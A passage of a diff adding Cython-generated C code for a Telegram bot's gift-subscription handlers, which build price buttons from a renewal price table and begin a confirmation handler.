__Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":82 + * builder = InlineKeyboardBuilder() + * + * for months, price in RENEWAL_PRICES.items(): # <<<<<<<<<<<<<< + * builder.row( + * types.InlineKeyboardButton( + */ + __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (unlikely(__pyx_t_2 == Py_None)) { + PyErr_Format(PyExc_AttributeError, "'NoneType' object has no attribute '%.30s'", "items"); + __PYX_ERR(0, 82, __pyx_L1_error) + } + __pyx_t_3 = __Pyx_dict_iterator(__pyx_t_2, 0, __pyx_n_s_items, (&__pyx_t_6), (&__pyx_t_7)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_1); + __pyx_t_1 = __pyx_t_3; + __pyx_t_3 = 0; + while (1) { + __pyx_t_8 = __Pyx_dict_iter_next(__pyx_t_1, __pyx_t_6, &__pyx_t_5, &__pyx_t_3, &__pyx_t_2, NULL, __pyx_t_7); + if (unlikely(__pyx_t_8 == 0)) break; + if (unlikely(__pyx_t_8 == -1)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_months); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_months, __pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_price); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_price, __pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":83 + * + * for months, price in RENEWAL_PRICES.items(): + * builder.row( # <<<<<<<<<<<<<< + * types.InlineKeyboardButton( + * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/gift.py":84 + * for months, price in RENEWAL_PRICES.items(): + * builder.row( + * types.InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", + * callback_data=f"gift|{months}", + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_types); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/gift.py":85 + * builder.row( + * types.InlineKeyboardButton( + * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", # <<<<<<<<<<<<<< + * callback_data=f"gift|{months}", + * ) + */ + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_11 = PyTuple_New(7); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = 0; + __pyx_t_13 = 127; + __Pyx_INCREF(__pyx_ustring__22); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_ustring__22) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_ustring__22) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_ustring__22); + __Pyx_GIVEREF(__pyx_ustring__22); + PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_ustring__22); + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_14); + __Pyx_GIVEREF(__pyx_t_14); + PyTuple_SET_ITEM(__pyx_t_11, 1, __pyx_t_14); + __pyx_t_14 = 0; + __Pyx_INCREF(__pyx_kp_u__13); + __pyx_t_12 += 1; + __Pyx_GIVEREF(__pyx_kp_u__13); + PyTuple_SET_ITEM(__pyx_t_11, 2, __pyx_kp_u__13); + __pyx_t_15 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_months, __pyx_kp_u_1, Py_EQ)); if (unlikely((__pyx_t_15 < 0))) __PYX_ERR(0, 85, __pyx_L1_error) + if (__pyx_t_15) { + __Pyx_INCREF(__pyx_n_u__14); + __pyx_t_14 = __pyx_n_u__14; + } else { + __pyx_t_17 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_months); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_17); + __pyx_t_19 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_17, __pyx_int_2, 2, 0)); if (unlikely((__pyx_t_19 < 0))) __PYX_ERR(0, 85, __pyx_L1_error) + if (!__pyx_t_19) { + } else { + __pyx_t_18 = __pyx_t_19; + goto __pyx_L6_bool_binop_done; + } + __pyx_t_19 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_17, __pyx_int_3, 3, 0)); if (unlikely((__pyx_t_19 < 0))) __PYX_ERR(0, 85, __pyx_L1_error) + if (!__pyx_t_19) { + } else { + __pyx_t_18 = __pyx_t_19; + goto __pyx_L6_bool_binop_done; + } + __pyx_t_19 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_17, __pyx_int_4, 4, 0)); if (unlikely((__pyx_t_19 < 0))) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_18 = __pyx_t_19; + __pyx_L6_bool_binop_done:; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __pyx_t_19 = __pyx_t_18; + if (__pyx_t_19) { + __Pyx_INCREF(__pyx_n_u__15); + __pyx_t_16 = __pyx_n_u__15; + } else { + __Pyx_INCREF(__pyx_n_u__16); + __pyx_t_16 = __pyx_n_u__16; + } + __pyx_t_14 = __pyx_t_16; + __pyx_t_16 = 0; + } + __pyx_t_16 = __Pyx_PyUnicode_Unicode(__pyx_t_14); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_16); + __Pyx_GIVEREF(__pyx_t_16); + PyTuple_SET_ITEM(__pyx_t_11, 3, __pyx_t_16); + __pyx_t_16 = 0; + __Pyx_INCREF(__pyx_kp_u__23); + __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; + __pyx_t_12 += 4; + __Pyx_GIVEREF(__pyx_kp_u__23); + PyTuple_SET_ITEM(__pyx_t_11, 4, __pyx_kp_u__23); + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_price, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_16); + __Pyx_GIVEREF(__pyx_t_16); + PyTuple_SET_ITEM(__pyx_t_11, 5, __pyx_t_16); + __pyx_t_16 = 0; + __Pyx_INCREF(__pyx_kp_u__24); + __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; + __pyx_t_12 += 7; + __Pyx_GIVEREF(__pyx_kp_u__24); + PyTuple_SET_ITEM(__pyx_t_11, 6, __pyx_kp_u__24); + __pyx_t_16 = __Pyx_PyUnicode_Join(__pyx_t_11, 7, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_t_16) < 0) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + + /* "handlers/payments/gift.py":86 + * types.InlineKeyboardButton( + * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", + * callback_data=f"gift|{months}", # <<<<<<<<<<<<<< + * ) + * ) + */ + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_kp_u_gift_2, __pyx_t_16); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/gift.py":84 + * for months, price in RENEWAL_PRICES.items(): + * builder.row( + * types.InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", + * callback_data=f"gift|{months}", + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, __pyx_t_11}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":90 + * ) + * + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__6) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_9}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":92 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", reply_markup=builder.as_markup() + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":93 + * + * await callback_query.message.answer( + * text=" :", reply_markup=builder.as_markup() # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_b_b_3) < 0) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/gift.py":92 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", reply_markup=builder.as_markup() + * ) + */ + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L9_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 92, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 92, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/gift.py":77 + * + * + * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< + * async def gift_subscription_handler(callback_query: types.CallbackQuery): + * """ ''. .""" + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_16); + __Pyx_XDECREF(__pyx_t_17); + __Pyx_AddTraceback("gift_subscription_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/gift.py":97 + * + * + * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< + * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): + * """ .""" + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_4gift_10confirm_gift_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_9confirm_gift_handler, "\320\236\320\261\321\200\320\260\320\261\320\276\321\202\321\207\320\270\320\272 \320\264\320\273\321\217 \320\262\321\213\320\261\320\276\321\200\320\260 \321\201\321\200\320\276\320\272\320\260 \320\277\320\276\320\264\320\277\320\270\321\201\320\272\320\270."); +static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_10confirm_gift_handler = {"confirm_gift_handler", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_4gift_10confirm_gift_handler, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_4gift_9confirm_gift_handler}; +static PyObject *__pyx_pw_8handlers_8payments_4gift_10confirm_gift_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + CYTHON_UNUSED PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("confirm_gift_handler (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 97, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 97, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("confirm_gift_handler", 1, 2, 2, 1); __PYX_ERR(0, 97, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "confirm_gift_handler") < 0)) __PYX_ERR(0, 97, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_session = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("confirm_gift_handler", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 97, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.gift.confirm_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_4gift_9confirm_gift_handler(__pyx_self, __pyx_v_callback_query, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_4gift_9confirm_gift_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("confirm_gift_handler", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 97, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_11generator3, __pyx_codeobj__25, (PyObject *) __pyx_cur_scope, __pyx_n_s_confirm_gift_handler, __pyx_n_s_confirm_gift_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.gift.confirm_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject 